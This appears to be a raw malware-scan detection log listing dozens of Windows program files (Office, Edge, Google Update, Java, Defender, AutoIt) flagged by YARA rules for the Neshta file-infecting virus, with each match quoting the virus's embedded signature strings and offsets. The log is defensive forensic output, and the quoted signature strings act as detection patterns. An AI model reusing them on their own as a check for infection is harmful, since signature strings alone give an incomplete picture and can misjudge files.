C:\Program Files (x86)\AutoIt3\Au3Check.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Au3Check.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Au3Check.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Au3Check.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
